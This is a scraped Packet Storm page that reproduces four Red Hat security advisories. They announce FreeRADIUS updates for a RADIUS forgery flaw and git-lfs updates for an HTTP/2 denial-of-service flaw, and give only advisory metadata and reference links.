    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_4936.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: freeradius:3.0 security updateAdvisory ID:        RHSA-2024:4936-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:4936Issue date:         2024-07-31Revision:           03CVE Names:          CVE-2024-3596====================================================================Summary: An update for the freeradius:3.0 module is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:FreeRADIUS is a high-performance and highly configurable free Remote Authentication Dial In User Service (RADIUS) server, designed to allow centralized authentication and authorization for a network.Security Fix(es):* freeradius: forgery attack (CVE-2024-3596)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-3596References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263240

Red Hat Security Advisory 2024-4936-03

Red Hat Security Advisory 2024-4935-03 - An update for freeradius is now available for Red Hat Enterprise Linux 9.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_4935.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: freeradius security updateAdvisory ID:        RHSA-2024:4935-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:4935Issue date:         2024-07-31Revision:           03CVE Names:          CVE-2024-3596====================================================================Summary: An update for freeradius is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:FreeRADIUS is a high-performance and highly configurable free Remote Authentication Dial In User Service (RADIUS) server, designed to allow centralized authentication and authorization for a network.Security Fix(es):* freeradius: forgery attack (CVE-2024-3596)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-3596References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263240

Red Hat Security Advisory 2024-4935-03

Red Hat Security Advisory 2024-4934-03 - An update for git-lfs is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_4934.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: git-lfs security updateAdvisory ID:        RHSA-2024:4934-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:4934Issue date:         2024-07-31Revision:           03CVE Names:          CVE-2023-45288====================================================================Summary: An update for git-lfs is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server.Security Fix(es):* golang: net/http, x/net/http2: unlimited number of CONTINUATION frames causes DoS (CVE-2023-45288,VU#421644.3)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45288References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2268273

Red Hat Security Advisory 2024-4934-03

Red Hat Security Advisory 2024-4933-03 - An update for git-lfs is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_4933.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: git-lfs security updateAdvisory ID:        RHSA-2024:4933-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:4933Issue date:         2024-07-31Revision:           03CVE Names:          CVE-2023-45288====================================================================Summary: An update for git-lfs is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server.Security Fix(es):* golang: net/http, x/net/http2: unlimited number of CONTINUATION frames causes DoS (CVE-2023-45288,VU#421644.3)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45288References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2268273

Tag

#js